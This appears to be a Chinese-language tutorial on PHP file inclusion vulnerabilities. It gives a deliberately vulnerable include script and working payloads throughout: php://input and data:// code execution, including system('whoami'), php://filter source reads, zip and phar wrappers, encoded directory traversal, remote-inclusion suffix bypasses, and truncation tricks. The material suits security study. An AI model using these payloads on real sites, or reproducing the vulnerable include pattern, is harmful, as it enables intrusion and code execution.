文件包含漏洞
[TOC]
1.文件包含相关函数
include(),include_once(),require(),require_once()
- require()函数如果在包含的时候有错,如文件不存在,会直接退出,不执行后面的语句
- include()函数如果在包含的时候有错,如文件不存在,不会直接退出,会执行后面的语句
- *_once()与*()的作用类似,如果一个文件已经被包含,则*_once()不会再包含它,避免函数重新定义或者变量重新赋值等
用这几个函数包含文件时,无论什么类型的文件,都会当做php文件进行解析。
分类:
-
LFI(Local File Inclusion)
-
RFI(Remote File Inclusion)
利用条件较为苛刻,allow_url_fopen = on,all_url_include = on
两个配置选项均需on,才能远程包含文件成功。
2.文件包含漏洞的利用方式–伪协议
协议 | 测试版本 | allow_url_fopen | all_url_include | 用法 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | ?file=file://D:/phpstudy/WWW/phpcode.txt |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
php://input | >=5.2 | off/on | on | ?file=php://input [POST DATA] |
zip:// | >=5.2 | off/on | off/on | ?file=zip://D:/phpstydy/WWW/file.zip#phpcode.txt |
data:// | >=5.2 | on | on | ?file=data://text/plain, [OR]?file=data://text/plain;base64,[base64编码] [oR]?file=data:text/plain, [OR]?file=data:text/plain;base64,[base64编码] |
php://filter 是一种元封装器,设计用于数据楼打开是的筛选过滤应用
data:// 同样类似于php://input,可以让用户控制输入流
php://input可以访问请求的原始数据的制度刘,将post请求的数据当做PHP代码执行
phar://xxxx.png/shell.php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压
之后的测试代码
<?php
$file = $_GET['file'];
include $file;
highlight_file(__FILE__);
?>
//www目录
//有a.txt,<?php phpinfo();?>
//有a.zip,里面含a.txt
php://input
利用条件:
allow_url_include=on,allow_url_fopen不做要求
姿势:
/?file=php://input
[post]
<?php phpinfo();?>
php://filter
利用条件:上面的那两个配置文件选项都不做要求
姿势
/?file=php://filter/read=convert.base64-encode/resource=a.txt
/?file=php://filter/convert.base64-encode/resource=a.txt
通过指定末尾的文件,可以读取经base64加密后的文件源码,虽然不能获取shell,但危害也挺大。
phar://
利用条件:PHP版本>=5.3.0
假设有个a.zip压缩包,里面有个a.txt里面有<?php phpinfo();?>
/?file=phar://a.zip/a.txt
绝对相对路径都OK
zip://
利用条件:
PHP版本>=5.3.0
需要绝对路径,同时编码#为%23
/?file=zip://D:\wamp64\www\a.zip%23a.txt
//如果使用相对路径,包含会失败。
data://
利用条件:
1.PHP版本大于5.2
2.allow_url_fopen=on
3.allow_url_include=on
姿势一:
/?file=data:text/plain,<?php phpinfo();?>
/?file=data:text/plain,<?php system('whoami')?>
姿势二:
/?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
+号的URL编码%2b,base64解码为<?php phpinfo();?>
3.绕过
正常平台不可能直接是 include $_GET['file'];
这么简单,一般会指定前后缀
指定前缀
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
目录遍历
假设/var/log/test.txt中有代码
/?file=../../log/test.txt
服务器会对../等做过滤,可以用编码来绕过
利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
指定后缀
测试代码:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URL
URL: protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在RFI中,可以利用query或fragment来绕过
姿势一:query(?)
/?file=http://xxxx/info.txt?
则包含的文件为 http://xxxx/info.txt?/test/test.php
问号后面的 /test/test.php
被当做query后缀而被绕过
姿势二:fragment(#)
/?file=http://xxxx/info.txt%23
则包含的文件为 http://xxxx/info.txt#/test/test.php
##后面的 /test/test.php
被当做query后缀而被绕过,需要将#编码为%23
利用协议
测试代码:
<?php
$file = $_GET['file'];
include $file."phpinfo.txt";
?>
zip://
- [访问参数]
?file=zip://D:\zip.jpg%23phpinfo
- [拼接后]
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
- [访问参数]
?file=phar://xx.zip/phpinfo
- [拼接后]
?file=phar://xx.zip/phpinfo.txt
Example: 目录中有a.zip压缩包,内含a.txt,其中包含代码 构造payload为:
?file=zip://D:\phpstudy\www\a.zip%23a.txt
?file=phar://../../a.zip/a.txt
长度截断
一共有三种:../ ./ 和.(点号)
Windows 256,Linux 4096
利用条件:php版本<5.2.8
只要./不断重复(),则后缀/test/test.php
,在达到最大值后会被直接丢弃掉。
/?file=././..........././shell.txt
00截断
利用条件:
php版本<5.3.4
/?file=phpinfo.txt%00